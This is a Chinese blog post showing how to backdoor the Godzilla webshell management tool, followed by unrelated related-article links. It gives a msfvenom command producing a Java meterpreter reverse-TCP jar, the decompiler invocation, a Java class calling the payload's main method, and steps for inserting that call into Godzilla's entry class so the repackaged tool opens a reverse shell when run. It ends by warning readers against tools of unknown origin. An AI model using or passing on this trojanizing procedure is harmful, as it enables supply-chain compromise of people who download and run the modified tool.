给哥斯拉 webshell 管理工具加后门

Java 反编译是分析 Java 程序的基本手段,也是对一些 Java 程序二次开发的基本前提,可用于反编译的工具有很多,比如 JD-GUI,CRF 等,个人比较常用的是 IntelliJ IDEA 自带的反编译功能,其功能足够强大,能够完成大多数需求。

本文简单介绍通过反编译 MSF 生成 java 后门和 WebShell 管理工具哥斯拉,并用最简单的方式将后门加入哥斯拉中。

MSF 的 Java 后门

MSF 提供了多种类型的后门,我们可以生成一个恶意的 jar 包,此处作为演示就使用最简单且没有经过加密处理的后门。

msfvenom --payload='java/meterpreter/reverse_tcp' LHOST=127.0.0.1 LPORT=9999 -f jar > java_shell.jar

打开的 Jar 包可以看到,其中有个 metasploit.bat,里面的 HOST 就是 MSF 控制端的 IP,这样就可以通过修改这个文件来修改服务端的 IP,而无需修改生成的 class 文件。

使用 IntelliJ IDEA 中内置的 java-decompiler.jar 进行反编译,该工具在%IntelliJ IDEA 的安装路径 %\plugins\java-decompiler\lib\下。

java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dsg=true 目标jar文件 输出路径

得到反编译后的文件,用 IntelliJ IDEA 新建一个普通的 Java 项目,将反编译的文件加入项目文件中,目的是为了全局搜索关键字定位代码位置。并在 src 文件中创建新的代码,此处将 Payload.java 复制一份,进行调试,观察代码流程。如下图所示,会将 Payload.class 和 metasploit.dat 缓存进 Temp 目录,然后通过 Runtime 来调用 java 进程来执行缓存的 Payload.class 类,这样一来 shell 就独立于当前进程在执行。

也正因如此,Payload.class 需要保持它原有的 Main 方法作为调用的入口,所以在其他程序中,可以通过调用 main 方法来执行 shell。

package core;import metasploit.Payload;public class RunShell { public static void main(String[] args) throws Exception { Payload.main(new String[]{'shell'}); }}

将后门加入哥斯拉

根据同样的方法对哥斯拉进行反编译,与之前不同的是将哥斯拉原本的Jar文件作为依赖添加进项目,这样做的好处在于不需要对全部的源码进行修改,只需在 src 文件中创建想要修改的文件,进行修改后再打包便可以完成改动。由于反编译出来的代码会存在各种问题,面对一片爆红的错误就要费很多时间进行修改,因此对反编译的源码进行修改的时候,尽可能的不改动过多文件。另外创建普通的 Java 项目就好,如果创建 Maven 项目,可能会在获取资源文件上存在一些路径上的问题。

查看 MANIFEST.MF 文件,看到入口类是core.ui.MainActivity,将其复制一份,并将后门文件也复制进项目文件。(metasploit.bat 文件也要),然后在 MainActivity 类中的 main 方法中调用 Payload.main() 即可。

重新打包以后,执行后就会反弹一个 MSFshell。

最后

以一个简单的小例子介绍了如何使用反编译对 Jar 项目进行源码修改,也由此可见在一些工具中加入后门是轻而易举的事情。而从 GitHub 上下载来的哥斯拉火狐浏览器就会报毒,而为了使用它以及对作者的信任我们自然而然的会选择信任该程序。那么此时,通过其他渠道下载有后门的哥斯拉同样报毒,你是否又会选择相信?

总之,尽可能不使用来路不明的工具!!!

(0)

相关推荐

  • 记一次突破反弹shell

    这是 酒仙桥六号部队 的第 106 篇文章. 全文共计1809个字,预计阅读时长6分钟. 背景 某天闲着无聊,小伙伴发来一个某网站,说只能执行命令,不能反弹shell. 测试 对着目标站点一顿测试. ...

  • 诚之和:Eclipse中怎么安装反编译工具Fernflower

    本篇内容主要讲解"Eclipse中怎么安装反编译工具Fernflower",感兴趣的朋友不妨来看看.本文介绍的方法操作简单快捷,实用性强.下面就让小编来带大家学习"Ecl ...

  • 防守方攻略:四大主流WebShell管理工具分析

    前言 在网络安全实战攻防演练中,只有了解攻击方的攻击思路和运用武器,防守方才能有效应对.以WebShell 为例,由于企业对外提供服务的应用通常以Web形式呈现,因此Web站点经常成为攻击者的攻击目标 ...

  • 经典管理工具-PDCA使用指南详解(史上最强)

    PDCA循环,一个老话题了,大家都知道要这么做,但在平时的生活和工作当中,你是否真的都这样做呢? 当你发现你面对的困难重重,寸步难行时,是否反思过是因为自己一开始的方法就不正确? 本文包涵了PDCA循 ...

  • 好文:3分钟掌握世界上最伟大的管理工具—BSC平衡计分卡 值得收藏

    指标提炼对了,绩效考核就成功了一半. 反过来说,如果指标提炼错了,你的绩效考核就失败了一半. 案例: 有一个企业考核他的店长,他提炼了这样一些指标,他有销售额.有毛利额. 然后他认为要考核一个店长,还 ...

  • 精益生产绩效管理工具LPS

    为了衡量精益生产是否成功,公司可以利用层级分析法(AHP)建立起一套梢益绩效评分系统(Lean performance score,简称LPS).现在就以6家实施了精益生产的公司为例,讨论如何应用LP ...

  • Paste Queue for Mac(剪切板管理工具) v1.4.1永久激活版

    Paste Queue for Mac是Mac平台上的一款办公软件,该软件可以帮你复制和粘贴多个项目从一个地方到另一个地方,允许腻先复制所有需要的项目,然后再粘贴它们,因此你不需要在源和目标之间来回切 ...

  • 最全华为绩效管理工具,HR人手一份!(内附完整PDF)

    但凡说到绩效管理,就离不开一个词: 「减员增效」. 什么是减员增效?字面上理解,就是干活的人变少了,但效率却变高了. 但按照惯性来说,这是不可能实现的. 所以,这就是为什么需要绩效管理的原因. 就拿华 ...

  • 《5分钟商学院·基础》第45周:管理工具

    [管理工具] 221.OKR Objective&key results:整个公司或团队,个人,都要设立目标Objective,和衡量这些目标完成与否的关键结果key results(就是目标 ...

  • 496. 如何让财务分析成为管理工具?

    496. 如何让财务分析成为管理工具? 财税下午茶,给工作加点糖!大家下午好. 今天是2021年4月22日,1958年的这天,人民英雄纪念碑建成:这座中国最大的纪念碑铭记着为新中国付出的英雄,诉说着人 ...

  • 最全理论工具:100个经典管理工具模型「1890页完整版」

    这是一份非常经典的100个管理工具模型,广大管理者案头指导用书,由MBA智库整理汇编. 内容目录大纲 一,战略组织工具20个 二,营销服务工具15个 三,人力资源工具15个 四,质量生产工具20个 五 ...